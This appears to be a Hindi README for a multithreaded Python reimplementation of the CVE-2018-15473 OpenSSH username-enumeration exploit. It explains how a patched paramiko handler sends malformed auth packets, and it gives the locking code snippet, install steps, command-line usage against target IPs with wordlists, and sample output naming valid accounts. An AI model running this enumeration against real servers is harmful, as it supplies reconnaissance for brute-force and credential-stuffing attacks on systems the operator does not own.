
क्लासिक CVE-2018-15473 OpenSSH उपयोगकर्ता गणना शोषण का Python 3 पुनः कार्यान्वयन, जिसे मल्टी-थ्रेडिंग, वर्डलिस्ट समर्थन, स्वचालित भेद्यता पहचान, और थ्रेड-सुरक्षित शोषण पैचिंग के साथ विस्तारित किया गया है।
क्लासिक CVE-2018-15473 OpenSSH उपयोगकर्ता गणना शोषण का एक Python 3 पुनः कार्यान्वयन, जिसे मल्टी-थ्रेडिंग, वर्डलिस्ट समर्थन, स्वचालित भेद्यता पहचान और थ्रेड-सुरक्षित शोषण पैचिंग के साथ विस्तारित किया गया है।
CVE-2018-15473 एक उपयोगकर्ता गणना भेद्यता है जो OpenSSH संस्करण 2.3 से 7.7 को प्रभावित करती है।
यह भेद्यता इस सूक्ष्म अंतर से उत्पन्न होती है कि OpenSSH सर्वर मान्य बनाम अमान्य उपयोगकर्ता नामों के लिए प्रमाणीकरण प्रयासों पर कैसे प्रतिक्रिया देता है। एक दोषपूर्ण सार्वजनिक-कुंजी प्रमाणीकरण पैकेट बनाकर, एक हमलावर सर्वर के व्यवहार का निरीक्षण कर सकता है और यह निर्धारित कर सकता है कि दिया गया उपयोगकर्ता नाम सिस्टम पर मौजूद है या नहीं — बिना उपयोगकर्ता का पासवर्ड जाने।
यह जानकारी लक्षित ब्रूट-फोर्स या क्रेडेंशियल-स्टफिंग हमले में एक महत्वपूर्ण पहला कदम हो सकती है।
| विवरण | मान |
|---|---|
| CVE आईडी | CVE-2018-15473 |
| प्रभावित संस्करण | OpenSSH 2.3 – 7.7 |
| CVSS स्कोर | 5.3 (मध्यम) |
| प्रकार | सूचना प्रकटीकरण / उपयोगकर्ता गणना |
| प्रमाणीकरण आवश्यक | नहीं |
OpenSSH की प्रमाणीकरण प्रक्रिया सामान्यतः इस प्रकार काम करती है:
Client → MSG_SERVICE_REQUEST → Server
Client ← MSG_SERVICE_ACCEPT ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
शोषण MSG_SERVICE_ACCEPT चरण का दुरुपयोग करता है। जब सर्वर MSG_SERVICE_ACCEPT वापस भेजता है, तो क्लाइंट को बाद के MSG_USERAUTH_REQUEST पैकेट में एक बूलियन फ़ील्ड जोड़ना होता है। paramiko के Message.add_boolean मेथड को नो-ऑप में पैच करके, उपकरण एक दोषपूर्ण/छोटा प्रमाणीकरण पैकेट भेजता है।
OpenSSH सर्वर तब उपयोगकर्ता नाम के अस्तित्व के आधार पर अलग व्यवहार करता है:
MSG_USERAUTH_FAILURE के साथ अस्वीकार करता है (उपयोगकर्ता नाम मौजूद नहीं है, कुंजी जाँचने का कोई मतलब नहीं)AuthenticationException उठाता है (इसने कुंजी सत्यापित करने का प्रयास किया, जिससे उपयोगकर्ता के अस्तित्व की पुष्टि होती है)यह उपकरण पैच किए गए paramiko हैंडलर (_parse_userauth_failure और _parse_service_accept) के माध्यम से उन दो प्रतिक्रियाओं को इंटरसेप्ट करता है और प्रत्येक उपयोगकर्ता नाम को तदनुसार वर्गीकृत करता है।
मूल PoC add_boolean को स्थायी रूप से पैच करता है, जो एक साथ कई थ्रेड चलने पर रेस कंडीशन का कारण बनता है — थ्रेड एक-दूसरे के हैंडशेक में हस्तक्षेप करते हैं, जिससे झूठी SSH negotiation failed त्रुटियाँ उत्पन्न होती हैं। यह पुनः कार्यान्वयन पैच को threading.Lock() में लपेटता है, जिससे स्वैप एटॉमिक हो जाता है:
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap का उपयोग करता हैparamikopython-nmapnmap (सिस्टम बाइनरी, स्थापित होना चाहिए)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate
# Install dependencies
pip install paramiko python-nmap
सुनिश्चित करें कि आपके सिस्टम पर nmap स्थापित है:
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
एकल उपयोगकर्ता नाम जांचें:
python main.py 192.168.1.10 -u root
डिफ़ॉल्ट थ्रेड के साथ वर्डलिस्ट गणना:
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
कस्टम थ्रेड गणना और पोर्ट के साथ गणना:
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
नमूना आउटपुट:
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
यह उपकरण मूल प्रूफ-ऑफ-कॉन्सेप्ट शोषण का Python 3 पुनः कार्यान्वयन और विस्तार है। इस भेद्यता की खोज और दस्तावेजीकरण का पूरा श्रेय मूल शोधकर्ताओं को जाता है:
| भूमिका |
|---|
मूल शोषण: https://leapsecurity.io
यह पुनः कार्यान्वयन इन्हें जोड़ता है:
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पेनिट्रेशन टेस्टिंग के लिए है। इस उपकरण का उपयोग उन सिस्टमों के विरुद्ध करना जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध और अनैतिक है। लेखक इस सॉफ्टवेयर के किसी भी दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। हमेशा जिम्मेदार प्रकटीकरण का अभ्यास करें।
| नाम / हैंडल |
|---|
| मूल PoC लेखक | Leap Security (@LeapSecurity) |
| भेद्यता अनुसंधान | Matthew Daley |
| भेद्यता अनुसंधान | Justin Gardner |
| भेद्यता अनुसंधान | Lee David Painter |